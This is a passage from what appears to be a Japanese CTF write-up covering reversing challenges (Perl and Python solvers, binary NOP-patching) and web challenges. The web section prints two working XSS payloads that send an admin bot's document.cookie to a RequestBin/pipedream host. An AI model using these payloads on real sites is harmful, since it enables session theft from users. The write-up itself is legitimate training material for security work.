libprint.so
main.s
Makefile
version.txt
が与えられた。
main.s
には怪しい大きな整数が4個書かれていたので、
とりあえず16進数に変換してみると、文字列のデータっぽいことがわかった。
これを文字列に変換して繋げるとflagっぽい文字列が得られ、これを送信すると正解になった。
libprint.so
はノーチェックだったが、どうやら余計なことはしていなかったようだ。
問題文には
今残っているファイルだけで実行して頂けますか?
とあるが、実行するメリットは全く無さそうだったし、
reverse engineeringすれば、実行しなくても中身は分かるみたいです。
とあるが、別に中身が分からなくてもよかった。
最初からソースコードが与えられ、逆アセンブルの要求すら無かった。
solve.py
data = [
7941081424088616006,
7311705455698409823,
3560223458505028963,
35295634984951667
]
res = ""
for e in data:
for i in range(8):
c = (e >> (8 * i)) & 0xff
if 0x20 <= c and c < 0x7f:
res += chr(c)
print(res)
FLAG{c4n_y0u_execu4e_th1s_fi1e}
timer
ELFファイルtimer
が与えられた。
問題文によると、
super_complex_flag_print_function
関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
とのことらしい。
GDBを使って動的解析してみるのはいかがでしょうか?
ともあるが、それには及ばないわ。
TDM-GCCのobjdumpで逆アセンブルをすると、main関数では
super_complex_flag_print_function
関数の前に2個の関数を呼んでいることがわかる。
そこで、この2個の関数を呼ぶ場所をNOPで埋める。
すなわち、[0x14f7, 0x1501)
のバイトをバイナリエディタで全て0x90
に書き換える。
なお、このELFファイルは、ダンプ上のアドレスとファイル中の位置が一致する親切設計のようである。
00000000000014ef <main>:
14ef: f3 0f 1e fa endbr64
14f3: 55 push %rbp
14f4: 48 89 e5 mov %rsp,%rbp
14f7: e8 1e ff ff ff callq 141a <show_description>
14fc: e8 9c ff ff ff callq 149d <timer>
1501: e8 6a fc ff ff callq 1170 <super_complex_flag_print_function>
1506: b8 00 00 00 00 mov $0x0,%eax
150b: 5d pop %rbp
150c: c3 retq
150d: 0f 1f 00 nopl (%rax)
書き換えたバイナリをCS50 IDEにアップロードして実行すると、flagが出力された。
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
ELFファイルlicence
と、ダミーのテキストが入ったファイルkey.dat
が与えられた。
TDM-GCCのobjdumpで逆アセンブルして見ると、check
関数が0を返すことが認証されることの必要条件のようである。
check
関数をよく観察すると、
137a: 48 8b 45 f8 mov -0x8(%rbp),%rax
137e: 48 83 c0 02 add $0x2,%rax
1382: 0f b6 00 movzbl (%rax),%eax
1385: 0f be d0 movsbl %al,%edx
1388: 48 8b 45 f8 mov -0x8(%rbp),%rax
138c: 48 83 c0 1c add $0x1c,%rax
1390: 0f b6 00 movzbl (%rax),%eax
1393: 0f be c0 movsbl %al,%eax
1396: 29 c2 sub %eax,%edx
1398: 89 d0 mov %edx,%eax
139a: 83 f8 11 cmp $0x11,%eax
139d: 75 0a jne 13a9 <check+0x1c0>
139f: b8 01 00 00 00 mov $0x1,%eax
13a4: e9 05 49 00 00 jmpq 5cae <check+0x4ac5>
のような形で、文字列中の2個の要素を演算し、
その結果の値によってjne
命令で先に進んだり進まなかったりする構造が連続していることがわかった。
さらによく見ると、この例はjne
命令で飛ぶ(値が一致しない)べきパターンだが、
飛ばない(値が一致する)べきjne
命令もあることがわかった。
そこで、以下のプログラムを用い、逆アセンブル結果から
- 飛び元(jne命令の)アドレス
- 演算する要素1の位置
- 演算する要素2の位置
- 演算の種類
- 演算結果と比較する値
- 値が一致しないときの飛び先アドレス
を抽出した。
get_conds.pl
#!/usr/bin/perl
use strict;
use warnings;
my $first_add = "";
my $second_add = "";
my $op = "";
my $value = "";
my $prev_inst = "";
my $cnt = 1;
while (my $line = <STDIN>) {
chomp($line);
my @sp = split(/\t/, $line);
if (@sp == 3) {
my $inst = $sp[2];
if ($inst =~ /^add \$(.*),\%rax$/) {
if ($first_add eq "") { $first_add = $1; }
elsif ($second_add eq "") { $second_add = $1; }
else { warn "many add at line $line\n"; }
} elsif ($inst =~ /^cmp / && $prev_inst =~ /^([^ ]*) /) {
$op = $1;
if ($inst =~ /^cmp \$(.*),/) { $value = $1; }
} elsif ($inst =~ /^jne ([^ ]+) /) {
my $addr_to = $1;
my $addr = "";
if ($sp[0] =~ /^ *([^ ]*):$/) { $addr = $1; }
if ($second_add eq "") {
warn "insufficient add at line $cnt addr $addr\n";
}
if ($op eq "" || $value eq "") {
warn "cmp not found at line $cnt addr $addr\n";
}
print "$addr\t$first_add\t$second_add\t$op\t$value\t$addr_to\n";
$first_add = "";
$second_add = "";
$op = "";
$value = "";
}
if ($inst !~ /^mov/) { $prev_inst = $inst; }
}
$cnt++;
}
このプログラムは特殊なパターン、例えば
- 演算をする要素の位置が0なので、
add
命令が入っていない - 演算をしてから
cmp
命令を使うのではなく、要素の値をcmp
命令で直接比較している - 2個の要素を演算するのではなく、1個の要素と即値を比較している
というパターンに対応できないため、出力された警告を見ながら手動で補った。
その結果が以下である。
conds-hosei.txt
120b 0 0xb xor 0x7e 1217
1236 0 0x2d add 0x80 1242
1261 0 0x1c sub 0x18 126d
1276 0 0 or 0x46 5c35
129f 0x1 0xd sub 0x1a 12ab
12ce 0x1 0x12 sub 0x21 12da
12f4 0x1 0x11 xor 0x34 1300
131f 0x1 0 sub 0x6 5baa
1348 0x2 0x9 sub 0xffffffe4 1354
136e 0x2 0x24 xor 0x72 137a
139d 0x2 0x1c sub 0x11 13a9
13c3 0x2 0x1 xor 0xd 5b42
13ec 0x3 0x2b add 0xc2 13f8
141b 0x3 0x11 sub 0xffffffd8 1427
144a 0x3 0x18 sub 0x1a 1456
1470 0x3 0x2 xor 0x6 5aab
1499 0x4 0x2a sub 0x1a 14a5
14bf 0x4 0x16 xor 0x49 14cb
14ee 0x4 0x3 add 0xc6 14fa
1514 0x4 0x3 xor 0x3c 5a26
153b 0x5 0x7 add 0x6c 1547
155d 0x5 0 xor 0x7a 1569
1581 0x5 0x3b xor 0 158d
15a7 0x5 0x4 xor 0x4f 59a1
15c7 0x6 0x1c xor 0x5c 15d3
15f6 0x6 0x1b sub 0x3 1602
161c 0x6 0x5 xor 0x5a 5913
1645 0x7 0x1 sub 0xffffffee 1651
1674 0x7 0x1f add 0xb0 1680
169a 0x7 0x13 xor 0x41 16a6
16c9 0x7 0x6 sub 0xffffffc8 588b
16f2 0x8 0x20 sub 0x6 16fe
1718 0x8 0x32 xor 0xa 1724
1747 0x8 0xa sub 0x4b 1753
176d 0x8 0x7 xor 0x44 57f4
178d 0x9 0x24 xor 0x67 1799
17bc 0x9 0x36 add 0x9b 17c8
17e2 0x9 0xf xor 0x68 17ee
1811 0x9 0x8 sub 0xffffffed 5766
183a 0xa 0x2 sub 0xfffffff9 1846
1867 0xa 0x22 add 0x6b 1873
188d 0xa 0x9 xor 0x6e 56e1
18b0 0xb 0 add 0x7e 18bc
18df 0xb 0x32 sub 0xffffffc9 18eb
190e 0xb 0x23 add 0xa2 191a
193b 0xb 0xa add 0x66 564a
195b 0xc 0x39 xor 0x3c 1967
198a 0xc 0x17 add 0xda 1996
19b9 0xc 0xb add 0x94 55b3
19d9 0xd 0x27 xor 0x2 19e5
19ff 0xd 0x2c xor 0xc 1a0b
1a2c 0xd 0x3b add 0x6c 1a38
1a5b 0xd 0xc sub 0xffffffd5 5525
1a84 0xe 0xf sub 0x2f 1a90
1ab3 0xe 0x3b sub 0x33 1abf
1ad9 0xe 0x2d xor 0x64 1ae5
1aff 0xe 0xd xor 0x6b 548e
1b1f 0xf 0x31 xor 0x2 1b2b
1b45 0xf 0x27 xor 0xd 1b51
1b6b 0xf 0x2f xor 0x41 1b77
1b91 0xf 0xe xor 0x6a 53f9
1bba 0x10 0x26 add 0xda 1bc6
1be9 0x10 0x20 add 0xe7 1bf5
1c18 0x10 0x3b add 0xa6 1c24
1c3e 0x10 0xf xor 0x40 5362
1c5e 0x11 0xb xor 0x4d 1c6a
1c8d 0x11 0x13 sub 0xffffffff 1c99
1cbc 0x11 0x3c add 0xa2 1cc8
1ceb 0x11 0x10 add 0xe5 52cb
1d0b 0x12 0x36 xor 0x5 1d17
1d3a 0x12 0x4 sub 0xffffffc0 1d46
1d60 0x12 0x9 xor 0x57 1d6c
1d8f 0x12 0x11 sub 0xffffffc3 523f
1db8 0x13 0x38 add 0xb1 1dc4
1dde 0x13 0x6 xor 0x1d 1dea
1e0d 0x13 0xb add 0xa8 1e19
1e33 0x13 0x12 xor 0x41 51b1
1e5c 0x14 0x2 sub 0x20 1e68
1e8b 0x14 0x18 add 0x9b 1e97
1eb1 0x14 0x2a xor 0x33 1ebd
1ed7 0x14 0x13 xor 0x2d 5123
1f00 0x15 0x9 sub 0x17 1f0c
1f2f 0x15 0x17 add 0xec 1f3b
1f5e 0x15 0x2f sub 0x8 1f6a
1f84 0x15 0x14 xor 0x2f 508c
1fab 0x16 0x33 add 0x6c 1fb7
1fd8 0x16 0x3 add 0x79 1fe4
1ffe 0x16 0x15 xor 0x40 4ff7
2027 0x17 0x2e add 0xaf 2033
2056 0x17 0x2b add 0xed 2062
2085 0x17 0x11 sub 0x11 2091
20b4 0x17 0x16 add 0xa7 4f98
20db 0x18 0x37 add 0x6d 20e7
2101 0x18 0x3e xor 0x4d 210d
2130 0x18 0x2c sub 0x1 213c
2156 0x18 0x17 xor 0x44 4f13
217f 0x19 0x35 sub 0xfffffffa 218b
21a5 0x19 0x5 xor 0x4f 21b1
21d4 0x19 0x22 add 0xa6 21e0
2203 0x19 0x18 add 0xa5 4e97
2228 0x1a 0 sub 0x27 2234
2257 0x1a 0xe sub 0x8 2263
2286 0x1a 0x19 sub 0xfffffff4 4e09
22af 0x1b 0x33 add 0xaf 22bb
22de 0x1b 0x21 add 0xe0 22ea
2304 0x1b 0x1d xor 0x15 2310
2333 0x1b 0x1a add 0xdb 4d72
235c 0x1c 0x20 add 0xa1 2368
238b 0x1c 0x35 sub 0xffffffbb 2397
23b1 0x1c 0x14 xor 0x55 23bd
23e0 0x1c 0x1b add 0xa6 4cef
2400 0x1d 0x32 xor 0x2f 240c
242f 0x1d 0x34 sub 0xfffffffc 243b
2455 0x1d 0x8 xor 0x25 2461
2484 0x1d 0x1c add 0x90 4c61
24a4 0x1e 0x27 xor 0xf 24b0
24ca 0x1e 0x2 xor 0x71 24d6
24f0 0x1e 0x23 xor 0x58 24fc
251f 0x1e 0x1d sub 0xffffffd6 4bd5
253f 0x1f 0x14 xor 0x1d 254b
256e 0x1f 0x37 add 0xac 257a
259d 0x1f 0x20 sub 0x15 25a9
25cc 0x1f 0x1e sub 0x44 4b47
25f5 0x20 0x37 add 0xa1 2601
261b 0x20 0x3a xor 0x55 2627
264a 0x20 0x8 add 0xe6 2656
2679 0x20 0x1f sub 0xfffffff4 4ac2
26a2 0x21 0x29 sub 0x36 26ae
26d1 0x21 0x11 add 0xd9 26dd
26fc 0x21 0 sub 0x23 2708
272b 0x21 0x20 sub 0xfffffff5 4a2b
2754 0x22 0x30 sub 0xffffffd6 2760
2783 0x22 0x6 sub 0xffffffc9 278f
27b2 0x22 0x16 sub 0x5 27be
27e1 0x22 0x21 add 0x92 49a6
2801 0x23 0x3d xor 0x1d 280d
2830 0x23 0x19 add 0xe5 283c
285f 0x23 0x2b add 0xea 286b
288e 0x23 0x22 sub 0x3c 4921
28ae 0x24 0x18 xor 0xa 28ba
28dd 0x24 0x1a add 0x9e 28e9
2903 0x24 0xc xor 0x54 290f
2932 0x24 0x23 sub 0xffffffc5 488a
2952 0x25 0x28 xor 0x1f 295e
2981 0x25 0x23 sub 0xfffffff8 298d
29a7 0x25 0x13 xor 0x16 29b3
29d6 0x25 0x24 sub 0x32 4851
29ff 0x26 0x18 add 0x99 2a0b
2a2e 0x26 0x12 add 0x93 2a3a
2a5d 0x26 0x13 add 0xd2 2a69
2a83 0x26 0x25 xor 0x3c 47ba
2aa3 0x27 0x21 xor 0x5a 2aaf
2ac9 0x27 0x3c xor 0x2 2ad5
2af8 0x27 0x23 sub 0xffffffd0 2b04
2b27 0x27 0x26 add 0x92 472c
2b50 0x28 0x3c add 0xaf 2b5c
2b7f 0x28 0x2f add 0xef 2b8b
2bae 0x28 0x3e sub 0x2 2bba
2bd4 0x28 0x27 xor 0x4b 46b0
2bf4 0x29 0x1e xor 0xf 2c00
2c21 0x29 0x3b add 0x65 2c2d
2c4e 0x29 0x2e add 0x6d 2c5a
2c7d 0x29 0x28 add 0xab 461d
2ca6 0x2a 0x28 add 0xde 2cb2
2cd5 0x2a 0x2e sub 0x3c 2ce1
2d04 0x2a 0xd sub 0x38 2d10
2d2a 0x2a 0x29 xor 0x50 4598
2d4a 0x2b 0x30 xor 0x1c 2d56
2d70 0x2b 0x4 xor 0x8 2d7c
2d9f 0x2b 0x30 sub 0x1a 2dab
2dce 0x2b 0x2a sub 0x12 4501
2df7 0x2c 0x1b sub 0xffffffc9 2e03
2e24 0x2c 0x31 add 0x73 2e30
2e53 0x2c 0x1f add 0xb2 2e5f
2e79 0x2c 0x2b xor 0x42 447c
2ea2 0x2d 0xa sub 0x4 2eae
2ed1 0x2d 0x2b sub 0xffffffbe 2edd
2efe 0x2d 0x3f add 0x3d 2f0a
2f24 0x2d 0x2c xor 0x6 43ee
2f4b 0x2e 0x16 add 0x67 2f57
2f71 0x2e 0x2d xor 0x1 436b
2f91 0x2f 0x31 xor 0x56 2f9d
2fc0 0x2f 0x5 sub 0x44 2fcc
2fef 0x2f 0x2b add 0xed 2ffb
301e 0x2f 0x2e add 0x9e 430c
303e 0x30 0x23 xor 0x30 304a
306d 0x30 0xb add 0x9b 3079
3093 0x30 0x2f xor 0x31 4275
30bc 0x31 0x17 add 0xb2 30c8
30eb 0x31 0x13 add 0xa7 30f7
311a 0x31 0x1c sub 0x6 3126
3140 0x31 0x30 xor 0x6b 41e9
3169 0x32 0x9 add 0xce 3175
3198 0x32 0x8 sub 0x4 31a4
31c7 0x32 0x16 sub 0x48 31d3
31f6 0x32 0x31 sub 0x3a 415b
3216 0x33 0x3c xor 0xd 3222
323c 0x33 0x11 xor 0x42 3248
3262 0x33 0xc xor 0x55 326e
3291 0x33 0x32 sub 0xffffffc6 40fc
32ba 0x34 0x1c add 0xa4 32c6
32e9 0x34 0xb sub 0x39 32f5
330f 0x34 0x2d xor 0x5f 331b
333e 0x34 0x33 add 0xa0 4065
3367 0x35 0x13 sub 0x11 3373
338d 0x35 0x14 xor 0x1a 3399
33bc 0x35 0x1b sub 0x6 33c8
33eb 0x35 0x34 sub 0xd 3fce
3409 0x36 0x5 xor 0 3415
342f 0x36 0x12 xor 0x2 343b
3455 0x36 0x35 xor 0x4c 3f4b
347c 0x37 0x3c add 0x6a 3488
34a9 0x37 0x27 add 0x6e 34b5
34d8 0x37 0x4 sub 0xffffffba 34e4
3507 0x37 0x36 sub 0xfffffffc 3ebd
3530 0x38 0x33 sub 0xb 353c
3556 0x38 0x2 xor 0x7d 3562
3585 0x38 0x2e sub 0x8 3591
35b2 0x38 0x37 add 0x66 3e2f
35d2 0x39 0x2f xor 0x27 35de
3601 0x39 0x3c sub 0x36 360d
3630 0x39 0x34 add 0xd3 363c
365f 0x39 0x38 add 0x94 3da1
367f 0x3a 0x12 xor 0xa 368b
36ae 0x3a 0x9 sub 0xffffffda 36ba
36dd 0x3a 0x11 add 0xa9 36e9
370c 0x3a 0x39 sub 0xffffffd8 3d15
3735 0x3b 0x2a sub 0xffffffd7 3741
3762 0x3b 0x3c add 0x66 376e
3788 0x3b 0x2f xor 0x48 3794
37b7 0x3b 0x3a sub 0xfffffff9 3c99
37d7 0x3c 0x11 xor 0x4a 37e3
3804 0x3c 0x33 add 0x65 3810
382a 0x3c 0xe xor 0x59 3836
384e 0x3c 0x3b xor 0 3c02
3877 0x3d 0x3f sub 0x6a 3883
38a6 0x3d 0x1a add 0xd6 38b2
38cc 0x3d 0x15 xor 0x19 38d8
38fb 0x3d 0x3c add 0x9c 3b7d
3924 0x3e 0x5 sub 0x50 3930
3953 0x3e 0x19 add 0xf7 395f
3982 0x3e 0x31 add 0xba 398e
39b1 0x3e 0x3d sub 0x11 3af8
39d1 0x3f 0x2b xor 0x75 39dd
3a00 0x3f 0x10 add 0x85 3a0c
3a2f 0x3f 0x6 add 0x80 3a3b
3a5e 0x3f 0x3e add 0x87 3a6a
3a8d 0x3f 0x9 sub 0xffffffb1 3a99
3ab3 0x3f 0x21 xor 0x6e 3abf
3ae2 0x3f 0x26 sub 0xffffffae 3aee
3b12 0x3e 0x13 xor 0x6 3b1e
3b38 0x3e 0x36 xor 0x4a 3b44
3b67 0x3e 0x3b add 0xb1 3b73
3ba0 0x3d 0xe sub 0x16 3bac
3bc6 0x3d 0x35 xor 0x13 3bd2
3bec 0x3d 0x36 xor 0x52 3bf8
3c25 0x3c 0x1b add 0xa9 3c31
3c54 0x3c 0x3b sub 0x5 3c60
3c83 0x3c 0x34 sub 0xffffffc9 3c8f
3cb3 0x3b 0x7 xor 0xb 3cbf
3cd9 0x3b 0x1 xor 0x64 3ce5
3cff 0x3b 0x2c xor 0xf 3d0b
3d36 0x3a 0x29 add 0x70 3d42
3d65 0x3a 0x15 sub 0xffffffd1 3d71
3d8b 0x3a 0x32 xor 0x45 3d97
3dbb 0x39 0x25 xor 0x33 3dc7
3dea 0x39 0x30 add 0xc6 3df6
3e19 0x39 0x38 add 0x9e 3e25
3e52 0x38 0x20 add 0xa3 3e5e
3e78 0x38 0x6 xor 0x40 3e84
3ea7 0x38 0x26 add 0x9b 3eb3
3ee0 0x37 0x2c sub 0x1 3eec
3f0f 0x37 0xc add 0x94 3f1b
3f35 0x37 0x29 xor 0xd 3f41
3f65 0x36 0x35 xor 0x4e 3f71
3f94 0x36 0x22 sub 0xd 3fa0
3fb8 0x36 0x3a xor 0 3fc4
3ff1 0x35 0xe sub 0x1d 3ffd
4020 0x35 0x1e add 0xb4 402c
404f 0x35 0xb sub 0x49 405b
4088 0x34 0x26 add 0xcd 4094
40b7 0x34 0x37 add 0xa3 40c3
40e6 0x34 0x1b add 0xe6 40f2
4116 0x33 0x1 xor 0x60 4122
4145 0x33 0x20 sub 0xffffffce 4151
417e 0x32 0xb sub 0x3d 418a
41ad 0x32 0x3 add 0xba 41b9
41d3 0x32 0x28 xor 0x11 41df
4203 0x31 0xa xor 0xe 420f
4232 0x31 0x23 add 0xa2 423e
425f 0x31 0x7 add 0x6d 426b
4298 0x30 0x2d add 0x99 42a4
42c7 0x30 0x31 add 0x98 42d3
42f6 0x30 0x13 add 0xd8 4302
432f 0x2f 0x26 add 0xd1 433b
4355 0x2f 0x9 xor 0xd 4361
4385 0x2e 0x20 xor 0x40 4391
43b2 0x2e 0xd add 0x6c 43be
43d8 0x2e 0x2f xor 0x45 43e4
4408 0x2d 0x1a xor 0x5e 4414
4437 0x2d 0x1d add 0x95 4443
4466 0x2d 0x3a sub 0x1 4472
4496 0x2c 0xe xor 0x50 44a2
44bc 0x2c 0x16 xor 0x5 44c8
44eb 0x2c 0x30 add 0x9d 44f7
4524 0x2b 0x37 add 0xac 4530
4553 0x2b 0x11 add 0xed 455f
4582 0x2b 0x2d sub 0x4d 458e
45b2 0x2a 0x2 xor 0x2b 45be
45d8 0x2a 0x3f xor 0x6e 45e4
4607 0x2a 0x27 sub 0x36 4613
463e 0x29 0x38 add 0x6c 464a
466b 0x29 0x27 add 0x69 4677
469a 0x29 0x10 sub 0xffffffc3 46a6
46ca 0x28 0x2e xor 0x4d 46d6
46f0 0x28 0x37 xor 0x43 46fc
4716 0x28 0x12 xor 0x42 4722
4746 0x27 0x12 xor 0xb 4752
4775 0x27 0x34 add 0xa7 4781
47a4 0x27 0x2a add 0x98 47b0
47dd 0x26 0x22 sub 0x38 47e9
480c 0x26 0x1f sub 0xffffffe7 4818
483b 0x26 0x2b sub 0xffffffec 4847
4874 0x25 0x6 add 0xd9 4880
48ad 0x24 0x15 add 0xa2 48b9
48dc 0x24 0x1a sub 0xffffffd2 48e8
490b 0x24 0x9 add 0x9a 4917
493b 0x23 0x2b xor 0x17 4947
4961 0x23 0x36 xor 0x50 496d
4990 0x23 0x30 sub 0x17 499c
49c9 0x22 0x30 sub 0xffffffda 49d5
49ef 0x22 0x3b xor 0x3 49fb
4a15 0x22 0x19 xor 0x48 4a21
4a4e 0x21 0x11 add 0xdc 4a5a
4a7d 0x21 0x15 add 0xd7 4a89
4aac 0x21 0x17 add 0xe0 4ab8
4adc 0x20 0x31 xor 0x53 4ae8
4b0b 0x20 0x17 add 0xea 4b17
4b31 0x20 0xd xor 0x55 4b3d
4b61 0x1f 0x32 xor 0xe 4b6d
4b90 0x1f 0x28 add 0xf8 4b9c
4bbf 0x1f 0x21 add 0xe1 4bcb
4bf6 0x1e 0x27 add 0x69 4c02
4c1c 0x1e 0x8 xor 0x40 4c28
4c4b 0x1e 0x25 sub 0xffffffd7 4c57
4c7b 0x1d 0x15 xor 0x29 4c87
4caa 0x1d 0x23 add 0xd4 4cb6
4cd9 0x1d 0xb sub 0x31 4ce5
4d09 0x1c 0x16 xor 0x8 4d15
4d2f 0x1c 0x16 xor 0x9 4d3b
4d5c 0x1c 0x2c add 0x71 4d68
4d95 0x1b 0x3d sub 0xe 4da1
4dc4 0x1b 0x2 add 0xbf 4dd0
4df3 0x1b 0x3e add 0xfc 4dff
4e23 0x1a 0x3c xor 0x53 4e2f
4e52 0x1a 0x33 sub 0x34 4e5e
4e81 0x1a 0x24 sub 0x37 4e8d
4eb1 0x19 0x1 xor 0x23 4ebd
4ed7 0x19 0x4 xor 0xc 4ee3
4efd 0x19 0x1f xor 0x9 4f09
4f2d 0x18 0x7 xor 0x9 4f39
4f53 0x18 0x12 xor 0x4 4f5f
4f82 0x18 0x14 sub 0xffffffd5 4f8e
4fbb 0x17 0x1d sub 0x22 4fc7
4fe1 0x17 0x25 xor 0x1e 4fed
501a 0x16 0x11 add 0xa5 5026
5047 0x16 0x31 add 0x65 5053
5076 0x16 0x17 add 0xad 5082
50af 0x15 0x12 sub 0x44 50bb
50de 0x15 0x1e add 0xad 50ea
510d 0x15 0x1d sub 0x12 5119
5146 0x14 0x1e sub 0x34 5152
5175 0x14 0x9 add 0xbf 5181
519b 0x14 0x2d xor 0x6a 51a7
51d4 0x13 0x5 sub 0x42 51e0
5203 0x13 0x1c sub 0x48 520f
5229 0x13 0xf xor 0x4a 5235
5259 0x12 0x6 xor 0x5c 5265
5288 0x12 0x23 sub 0xffffffcf 5294
52b5 0x12 0xd add 0x6e 52c1
52ee 0x11 0x3c sub 0x41 52fa
531d 0x11 0x7 sub 0x3f 5329
534c 0x11 0x17 add 0xea 5358
5385 0x10 0x1 add 0xc5 5391
53b4 0x10 0x15 add 0xeb 53c0
53e3 0x10 0x1e sub 0x41 53ef
541a 0xf 0x29 add 0x69 5426
5449 0xf 0x17 add 0xb5 5455
5478 0xf 0x33 sub 0x3 5484
54b1 0xe 0x31 sub 0x34 54bd
54e0 0xe 0x3d add 0xcc 54ec
550f 0xe 0x17 add 0xd8 551b
553f 0xd 0x3a xor 0xd 554b
556e 0xd 0x32 sub 0xffffffc9 557a
559d 0xd 0x23 sub 0xffffffc9 55a9
55d6 0xc 0x32 add 0xcf 55e2
5605 0xc 0x27 add 0x95 5611
5634 0xc 0xe sub 0x4 5640
566d 0xb 0x23 sub 0xffffffd3 5679
569c 0xb 0x16 sub 0xa 56a8
56cb 0xb 0x15 sub 0xffffffce 56d7
5704 0xa 0x3d sub 0xffffffcd 5710
572a 0xa 0x31 xor 0xc 5736
5750 0xa 0x21 xor 0x5a 575c
5789 0x9 0xb sub 0x32 5795
57af 0x9 0x1a xor 0x33 57bb
57de 0x9 0x2b sub 0xffffffed 57ea
5817 0x8 0x35 add 0xf4 5823
5846 0x8 0x3f add 0x86 5852
5875 0x8 0x2a sub 0x15 5881
58ac 0x7 0xb add 0x6e 58b8
58d9 0x7 0x5 add 0x72 58e5
58fd 0x7 0x3b xor 0 5909
592d 0x6 0x38 xor 0x58 5939
595c 0x6 0x2a sub 0x11 5968
598b 0x6 0x10 add 0xeb 5997
59bb 0x5 0x1c xor 0xf 59c7
59ea 0x5 0x17 sub 0xffffffbf 59f6
5a10 0x5 0x1c xor 0xe 5a1c
5a40 0x4 0x2a xor 0x11 5a4c
5a66 0x4 0x18 xor 0x41 5a72
5a95 0x4 0x5 sub 0x4f 5aa1
5ace 0x3 0xc add 0xab 5ada
5afd 0x3 0x11 sub 0xffffffda 5b09
5b2c 0x3 0x1d sub 0xffffffef 5b38
5b65 0x2 0x32 add 0xb8 5b71
5b94 0x2 0x6 add 0xb7 5ba0
5bc4 0x1 0xd xor 0x74 5bd0
5bf3 0x1 0x1c sub 0x1d 5bff
5c22 0x1 0xa sub 0x1f 5c2e
5c52 0 0x36 add 0x7d 5c5b
5c78 0 0x37 add 0x7a 5c81
5ca0 0 0x10 add 0xc3 5ca9
これに基づき、
- それぞれの
jne
命令で飛ぶべきかどうかは、飛び元と飛び先の距離に基づいて簡易判定を行う - 「0を返す」命令がある
0x3a60
以降の条件は無視する
(死を回避しながらこの命令まで一直線に実行が進めばよさそうなので) - 前から1文字ずつ決定し、決定している文字についての条件のみチェックする
というプログラムを用いることで、flagを求めることができた。
solve.pl
#!/usr/bin/perl
use strict;
use warnings;
my @conds = ();
sub int2 {
my $num = $_[0];
if (substr($num, 0, 2) eq "0x") {
return hex(substr($num, 2));
} else {
return int($num);
}
}
while (my $line = <STDIN>) {
chomp($line);
my @data = split(/\t/, $line);
if (@data >= 6) {
my $addr = hex($data[0]);
my $a = &int2($data[1]);
my $b = &int2($data[2]);
my $c = $data[3];
my $d = &int2($data[4]);
my $addr_to = hex($data[5]);
if ($d >= 0x100) {
$d = -((~$d + 1) & 0xff);
}
if ($addr <= 0x3a60) {
my $obey = ($addr_to == $addr + 12 ? 0 : 1);
push(@conds, "$a\t$b\t$c\t$d\t$obey");
}
}
}
my $ans ="";
for (my $i = 0; $i <= 0x3f; $i++) {
my $found = 0;
my $hit = -1;
for (my $j = 0; $j < 0x80; $j++) {
my $candidate = $ans . chr($j);
my $ok = 1;
for (my $k = 0; $k < @conds; $k++) {
my ($a, $b, $c, $d, $e) = split(/\t/, $conds[$k]);
if ($a <= $i && $b <= $i) {
my $aa = ord(substr($candidate, $a, 1));
my $bb = ord(substr($candidate, $b, 1));
my $res = 0xdeadbeef;
if ($c eq "add") { $res = $aa + $bb; }
elsif ($c eq "xor") { $res = $aa ^ $bb; }
elsif ($c eq "sub") { $res = $aa - $bb; }
elsif ($c eq "or") { $res = $aa | $bb; }
else { die "unknown op: $c\n"; }
if ($e ? $res != $d : $res == $d) {
$ok = 0;
last;
}
}
}
if ($ok) {
print "$i -> $j\n";
$hit = $j;
$found++;
}
}
if ($found == 0) {
print "no hit!\n";
print "$ans\n";
exit 1;
} elsif ($found > 1) {
print "multiple hit!\n";
print "$ans\n";
exit 1;
}
$ans .= chr($hit);
}
print "$ans\n";
FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}
Web
fake
ボタンのようなものが大量にあるWebページへのリンクが与えられた。
ページのソースを表示すると、a
タグが1個あったので、リンク先に行くとflagが書かれていた。
FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}
Wani Request 1
RequestBinを使ってみよう!!
とのことである。
書かれている通り、指定のWebページにRequestBinのリクエスト送信用URLを入れて送信すると、
リクエストが来て、RefererにURLが書かれている。
そのURLからパラメータを外してWebブラウザでアクセスすると、flagが表示された。
FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
exception
WebページのURLと、そこで動いていると考えられるPythonのソースコードhello.py
が与えられた。
hello.py
を見ると、入力のデータと文字列を+
演算子で結合しているため、
数値を入力できれば例外を発生させることができ、それによってflagが出力される可能性がある。
Webページのフォームに100
と入力して送信し、Firefoxの開発者ツールでリクエストを見ると、要求ペイロードとして
{"name":"100"}
を送信していた。そこで、これを
{"name":100}
に「編集して再送信」することで、flagを得ることができた。
FLAG{b4d_excep7ion_handl1ng}
Wani Request 2
WebページのURLと、
そこで動いているプログラムのソースコードと考えられるPage1.vue
およびPage2.vue
が与えられた。
Page1とPage2の両方から「あどみんちゃんのクッキー」を得ればよいようである。
Page1は、URL中のパラメータの内容がHTMLにノーガードで埋め込まれ、
「あどみんちゃん」にアクセスしてもらうURLのパラメータを入力できる。
<img+src%3D"x"+id%3D"nyan"><img+src%3D"x"+onerror%3D"document.getElementById('nyan').src%3D'https%3A%2F%2F*************.x.pipedream.net%2F%3F'%2Bdocument.cookie%3B">
を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************
にはRequestBinのリクエスト用URLの残りの部分が入る。
Page2は、「あどみんちゃん」にクリックしてもらうURLを指定できる。
ここでPage1のURLを指定しても、うまくいかなかった。
「URL」としか言っておらず、プロトコルは指定されていないことに注目し、
javascript:document.write("<img src='https://*************.x.pipedream.net/?"+document.cookie+"'>");
を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************
にはRequestBinのリクエスト用URLの残りの部分が入る。
得られたクッキーの内容を合わせることで、flagが得られた。
FLAG{y0u_4r3_x55-60d_c75a4c80cf07}
CloudFront Basic Auth
問題exceptionのものに似たWebページのURLと、そこで動いていると考えられるPythonのソースコードhello.py
、
さらにテキストファイルtemplate.yaml
が与えられた。
template.yaml
を読むと、
# "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用
とのことである。
問題exceptionと同様にリクエストの「編集して再送信」で例外を発生させ、得られたデータを見ると、
ここで使えそうなドメイン名が書かれていた。
そこで、それを利用してこの/Prod/admin
のURLにWebブラウザからアクセスすることで、flagが得られた。
FLAG{ap1_g4teway_acc3ss_con7rol}
watch animal
